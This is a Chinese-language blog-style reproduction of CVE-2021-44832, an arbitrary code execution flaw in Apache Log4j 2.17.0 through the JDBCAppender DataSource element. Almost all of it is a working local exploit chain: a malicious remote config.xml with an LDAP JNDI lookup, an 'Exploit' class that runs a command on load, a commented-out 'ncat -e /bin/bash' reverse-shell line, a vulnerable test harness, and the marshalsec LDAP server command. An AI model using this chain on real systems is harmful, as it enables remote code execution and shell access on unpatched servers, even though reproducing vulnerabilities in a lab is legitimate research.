0x00 漏洞复现

还是使用Github上大佬的环境

https://github.com/tangxiaofeng7/apache-log4j-poc 不过这个好像已经删掉了:)，还好之前本地存了

然后需要改一些配置文件，然后还有一个远程的config.xml

首先是新建一个远程的的config.xml

<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="error">
    <Appenders>
        <JDBC name="databaseAppender" tableName="dbo.application_log">
            <DataSource jndiName="ldap://127.0.0.1:1389/Exploit" />
            <Column name="eventDate" isEventTimestamp="true" />
            <Column name="level" pattern="%level" />
            <Column name="logger" pattern="%logger" />
            <Column name="message" pattern="%message" />
            <Column name="exception" pattern="%ex{full}" />
        </JDBC>
    </Appenders>
    <Loggers>
        <Root level="warn">
            <AppenderRef ref="databaseAppender"/>
        </Root>
    </Loggers>
</Configuration>

随后需要一个恶意类

public class Exploit{
    static{
        System.err.println("Pwned");
        try{
            //            String[] cmd = {"ncat", "-e", "/bin/bash", "", "1234"};
            String[] cmd = {"open", "-a", "/System/Applications/Calculator.app"};
            java.lang.Runtime.getRuntime().exec(cmd).waitFor();
        }catch(Exception e){
            e.printStackTrace();
        }
    }

然后Java编译成class，现在就可以在config和这个恶意类同目录下开启简单的Python http服务

python3 -m http.server

随后需要修改一下代码，如下

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import java.util.*;

public class log4j {
    public static void main(String[] args) {
        System.setProperty("log4j2.configurationFile", "http://127.0.0.1:8888/config.xml");
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        final Logger logger = LogManager.getLogger(log4j.class);

        Scanner sc = new Scanner(System.in);
        String str;
        while(true){
            str = sc.nextLine();
            logger.error(str);
        }
    }
}

然后开启marshalsec

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"

随后直接运行即可

0x01 参考与原理

1、https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/